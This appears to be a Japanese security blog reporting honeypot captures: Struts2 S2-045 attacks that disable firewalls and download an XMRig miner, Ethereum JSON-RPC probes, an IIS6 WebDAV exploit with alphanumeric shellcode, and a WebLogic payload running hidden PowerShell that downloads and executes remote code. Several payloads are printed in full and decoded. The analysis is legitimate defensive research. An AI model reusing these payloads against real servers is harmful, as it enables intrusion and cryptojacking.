おふとん

IT全般、セキュリティとかCTFとかに偏りがち

Apache Struts2のへの攻撃ログ(S2-045/CVE-2017-5638)と検体について

ハニーポット(WOWHoneypot)にApache Struts2脆弱性(S2-045/CVE-2017-5638)を狙った攻撃が来ていたので動向を見てみました。
これらの通信は8088/tcp、8090/tcp、8880/tcpに3つずつリクエストが来ており以下は8090/tcpの例となっています。

[ログ1]OS調査


通信を見ると攻撃は公開されているPoCを改変したものだと思われます。
Struts2_045-Poc/s2-045.py at master · tengzhangchao/Struts2_045-Poc · GitHub


このPoCは(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))の部分でOS名にwinが入っているかを判定して次のコマンド実行に繋げます。
winが入っていた場合はコマンドプロンプトでecho windows--2017を、入っていなかった場合はbashでecho linux--2017を実行します。


またこの攻撃は実行結果をレスポンスとして返すことが出来ます。
上記のPoCを脆弱な環境を構築して実行した結果が以下の通りです。

[攻撃の成功例]

f:id:yu_sh38:20180811225824p:plain

実行されたecho nMaskの結果がレスポンスとして返って来ていることが確認出来ます。
攻撃者は攻撃が成功した場合、このレスポンスからOSを判断し次の攻撃に繋げます。
またWOWHoneypotのデフォルト設定ではこの通信に対してはLinuxとして振舞います。
詳しくは
Math&Response Rule · morihisa/WOWHoneypot Wiki · GitHub

[ログ2]マルウェアDL&実行


完全にLinux決め打ちで攻撃が行われています。
#cmd='/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2 stop;
reSuSEfirewall2 stop;wget -c hxxp://xxx.xxx.xxx.xxx:xxxx/servic;chmod 777 servic;./servic;'
が実行されるのでファイアウォール全て切ってから、wgetマルウェアDL、権限を付与して実行の流れです。
ufwがないってことはRedhat系決め打ちなんですかね、Debian弾くような情報はログ1からでは得られないはずなのに...

[ログ3]???


最後に空のコマンドを実行する通信?これは意図が分かりませんでした。

[検体]

wgetしようとしていた先がまた生きていたので解析のために取得してきました。
64bitで動作するELFファイルです。

[VirusTotal]

f:id:yu_sh38:20180811234523p:plain


マイナーかーと思いstringsしてみたら
f:id:yu_sh38:20180811234644p:plain


思いっきり以下のような文がありました。
オープンソースのマイナーXMRigが組み込まれているみたいです。Usageも一致
GitHub - xmrig/xmrig: Monero (XMR) CPU miner


本格的な解析は明日

[追記]

XMRigが組み込まれていると言うよりもXMRigのマイナーAppそのものでした。
起動時のバージョン出力などの挙動が露見する一部の機能は取り除かれていましたが解析を阻むような機構は一切ありませんでした。簡単なパッキングすら無し。

Ethereumノードへの調査活動

ハニーポットにEthereum関係の通信が来ていました。

[ログ1]

[ログ2]


どちらもJSON-RPC APIを使ったアクセスです。
EthereumノードにJSON-RPC API経由でアクセスする

このAPIへのリクエスト方式はJSON形式で以下のように送信されます。

要素 説明
jsonrpc 2.0固定、1.0と区別するため
method 実行するメソッド名
params メソッドの引数、[引数1,引数2,・・・]のように指定
id 識別子

またレスポンスの場合はjsonrpc、idに加えてリクエストの結果を格納する要素であるresultで構成されています。

今回の通信で使用されているメソッドは以下の通りです。

  • eth_accounts:ノードが持つアドレスを取得するメソッド
    • params:なし、[]
    • result:ノードのアドレス、例)["0x4238ab348ef38e92a29c9228fae293393ddb283"]

例)
["number": "0x1b4",
"hash": "0xe670ec64341771606e55d6b4ca35a1a6b75ee3d5145a99d05921026d1527331",
"parentHash": "0x9646252be9520f6e71339a8df9c55e4d7619deeb018d2a3f2d21fc1...",
"nonce": "0xe04d296d2460cfb8472af2c5fd05b5a214109c25688d3704aed5484f9a7792f2",
"sha3Uncles": "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd4...",
"logsBloom": "0xe670ec64341771606e55d6b4ca35a1a6b75ee3d5145a99d05921026d...",
"transactionsRoot": "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc00...",
"stateRoot": "0xd5855eb08b3387c0af375e9cdb6acfc05eb8f519e419b874b6ff2ffda7...",
"miner": "0x4e65fda2159562a496f9f3522f89122a3088497a",
"difficulty": "0x027f07",
"totalDifficulty": "0x027f07",
"extraData": "0x0000000000000000000000000000000000000000000000000...",
"size": "0x027f07",
"gasLimit": "0x9f759",
"gasUsed": "0x9f759",
"timestamp": "0x54e34e8e"
"transactions": [{...},{ ... }]
"uncles": ["0x1606e5...", "0xd5145a9..."]
JSON RPC · ethereum/wiki Wiki · GitHub

やはり調査活動みたいですね。正しいレスポンスが返って来た場合どのような挙動をするのか興味あるのでWOWHoneypotのマッチ&レスポンス機能を使って返したいけどIDどうしよ...取り敢えずID固定値で置いて、ダメそうならレスポンスを動的に生成することが出来るようにしたいです。

追記:ID固定値で返した結果、同IPからの通信の挙動に変化あり。面白い結果であればまとめます。

PROPFINDリクエスト!?

WordPressとWOWHoneypotにほぼ同時にPROPFINDという見慣れないリクエストが来ていました。

 

[WordPressに来たリクエスト]

PROPFIND / HTTP/1.1 
Host: localhost
Connection: Close
Content-Length: 0 If: <http://localhost/aaaaaaa........................................................................................................................................................................................................................................................................................................................................................................................................................................> (Not <locktoken:write1>) <http://localhost/bbbbbbb................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................VVYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JB9lk8sYkPkPypC0CY7uNQfr1TdKNrP0TKPRlLDKaBMDtKqbkxjoh70JNFP1yoP17PDlMls1QlYrnLmP7QXOlMZaI7K2hp22Nw4KqBjpBk12oLKQJ02kq03HE5WPQdOZm18PB0tKMxlXbk0XO0m1j3zCml0IrkLt2kiqxVnQYo01upvLva6ojmyqfgLxyPd5Xt9sQmHxoKqmLdSExbnxBk1Ho49qXSC6rkjlpK2kb8mLja8SDKjdDKKQ6pu90DmTNDaKqKOq1IPZr19ogpOhOo0ZtKzrXksVomqXPnc5qdm0ph1g2IPn0i2iJFR40hPLsGKvIwIoz5P1ioNwaGnw0WofRHnZofSIuWioJ5XkOpQKlqy921nqPjkSoanqrJPPr3r0Ph27ayCoev9oYEXk0OqImaFrNrBHkPp2aPtDNrNrB2r10Rb0S8hknunNoKkOZ5E96faZjp1KRHaplsipKPQygprJm4R0BJkoNvrHQenfeNTFIoiE019oogogNw27QF2HNMjfJxsKkOIEbeupqeMVNkZordu3kPM09pHkXQwyVDYpKPKPK8fLyoKOyonOpibMpa1W2Ed3NO1Qc2RCnONdpLnN0pS82PkPXkRKMay0Oo20BJm20jm2B01ZYrpjM20Wc88ZYfYJpO9o6u63MawP2FfXkTm3O9i4r4BmnlO4m8ma90vTLC2021ofc8LRV62iiRYoYEReEpqdLmNxu5EprTJvqZm0OdR0bmoTo4jl0Pb3bHLm1GFN1Kiovuu3JL9tHkXNpSc8FfRvqwnryoWeRJYpqGbHlq2kBOqwiovuaZkPBHXpee3rqFIo9EXhdPIoyo9oMsmjnOnOnrS5RC1ic3RLbE0rloloBS2VOsph2O2SsDlns51hPeIphhIbKNioKOp109OBLnmaP4mdlnP105P0nNNQoHLxkPAA>

 

調べてみるとCVE-2017-7269、IIS6.0の脆弱性みたいですね。

CVE-2017-7269 - 脆弱性調査レポート | ソフトバンク・テクノロジー

 

PoCもシェルコード部分以外一致してますし間違いなさそう。

IIS_exploit/exploit.py at master · edwardz246003/IIS_exploit · GitHub

 

WOWHoneypotの方に来た攻撃は先頭部分が違っていたので違う攻撃かと思いましたが少し捻ってありました。

PROPFIND / HTTP/1.1
Host: localhost
Connection: Close
Content-Length: 0
If: =?utf-8?b?PGh0dHA6Ly9sb2NhbGhvc3QvYWFhYWFhYcOmwr3CqMOnwqHCo8Onwp3CocOnwoTCs8OmwqTCtsOkwp3CssOnwqjCucOkwq3Ct8Okwr3CsMOnwpXCk8OnwqnCj8OkwqHCqMOlwpnCo8OmwrXClMOmwqE=?=

 

Base64っぽかったのでPGh〜を復号化すると

<http://localhost/aaaaaaa.......................

これがUTF-8として解釈されて結局は同じ攻撃ですね。

 

攻撃元は45.40.200.198と118.89.51.192の2種類で同じシェルコードを使っていました。

余談ですがVVYA〜のシェルコードは英数字のみで命令が構成されたいわゆるAlphanumeric Shellcodeというシェルコードです。

Webサーバとかは英数字一部記号以外のコードを受け付けないようになっているのでそのような場合は英数字で解釈出来る命令のみでシェルコードを構成するのだとか

 

2つの攻撃元はどちらも最初にCVE-2017-7269の攻撃を行なっていましたが、その後の挙動は異なり

 

45.40.200.198:親の顔より見たphpMyAdminなどのPHP関係の攻撃が50件

118.89.51.192:WebLogicの攻撃(CVE-2017-10271)が1件のみ

 

PHP関係は存在確認のみで終わり、良い感じにレスポンス返してあげたら別の挙動が見られるんですかね。

 

WebLogicは少し追って見ます。

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: xxx.xxx.xxx.xxx:80
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0
Connection: Close
Content-Type: text/xml
Content-Length: 1187

<soapenv:envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:header>
<work:workcontext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<ava version="1.8.0_131" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd.exe</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>Start /Min PowerShell.exe -NoP -NonI -EP ByPass -W Hidden -E JABPAFMAPQAoAEcAVwBtAGkAIABXAGkAbgAzADIAXwBPAHAAZQByAGEAdABpAG4AZwBTAHkAcwB0AGUAbQApAC4AQwBhAHAAdABpAG8AbgA7ACQAVwBDAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAFcAQwAuAEgAZQBhAGQAZQByAHMAWwAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwBdAD0AIgBQAG8AdwBlAHIAUwBoAGUAbABsAC8AVwBMACAAJABPAFMAIgA7AEkARQBYACAAJABXAEMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvACAvAGkAbQBhAGcAZQBzAC8AdABlAHMAdAAvAEQATAAuAHAAaABwACcAKQA7AA==
</string>
</void>
</array>
<void method="start"></void>
</void>
</java>
</work:workcontext>
</soapenv:header>
<soapenv:body></soapenv:body>
</soapenv:envelope>

 

この攻撃が成功した場合はコマンドプロンプト(cmd.exe)で
Start /Min PowerShell.exe -NoP -NonI -EP ByPass -W Hidden -E JABPAFMAPQAoAEcAVwBtAGkAIABXAGkAbgAzADIAXwBPAHAAZQByAGEAdABpAG4AZwBTAHkAcwB0AGUAbQApAC4AQwBhAHAAdABpAG8AbgA7ACQAVwBDAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAFcAQwAuAEgAZQBhAGQAZQByAHMAWwAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwBdAD0AIgBQAG8AdwBlAHIAUwBoAGUAbABsAC8AVwBMACAAJABPAFMAIgA7AEkARQBYACAAJABXAEMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvACAvAGkAbQBhAGcAZQBzAC8AdABlAHMAdAAvAEQATAAuAHAAaABwACcAKQA7AA==

が実行されるわけですが、各オプションについても自分用にまとめ。

  • /Min : 起動時に最小化
  • -Nop : ユーザープロファイルを使用しない(プロファイルで禁止されているコマンドも実行可能)
  • -Nonl : 対話モードを使用しない(動作隠蔽用)
  • -EP ByPass : 通常のPowerShellの実行ポリシーをバイパス(これを指定すると-Eで指定したコマンドが実行ポリシーに引っかからなくなるみたいです)
  • -W Hidden :PowerShellによるウィンドウ表示をしない(動作隠蔽用)
  • -E :Base64エンコードされたコマンドを実行

 

Base64エンコードされたコマンドを見ていきます。(IP部分は編集で除いています)
$.O.S.=.(.G.W.m.i. .W.i.n.3.2._.O.p.e.r.a.t.i.n.g.S.y.s.t.e.m.)...C.a.p.t.i.o.n.;.$.W.C.=.N.e.w.-.O.b.j.e.c.t. .N.e.t...W.e.b.C.l.i.e.n.t.;.$.W.C...H.e.a.d.e.r.s.[.'.U.s.e.r.-.A.g.e.n.t.'.].=.".P.o.w.e.r.S.h.e.l.l./.W.L. .$.O.S.".;.I.E.X. .$.W.C...D.o.w.n.l.o.a.d.S.t.r.i.n.g.(.'.h.t.t.p.:./. /.i.m.a.g.e.s./.t.e.s.t./.D.L...p.h.p.'.).;.

整形すると...
#OS名取得
$OS = (GWmi Win32_OperatingSystem) Caption;
#WebClient設定
$WC = New-Object Net.WebClient;
#UA設定
$WC.Headers['User-Agent'] = "PowerShell/WL $OS";
#URIから文字列取得
$WC.DownloadString('http://[IPアドレス/imge/test/DL.php]');

このIPアドレスは落ちていたのでここまでです。
後は時間があればshellcodeの解析もしてみたいです。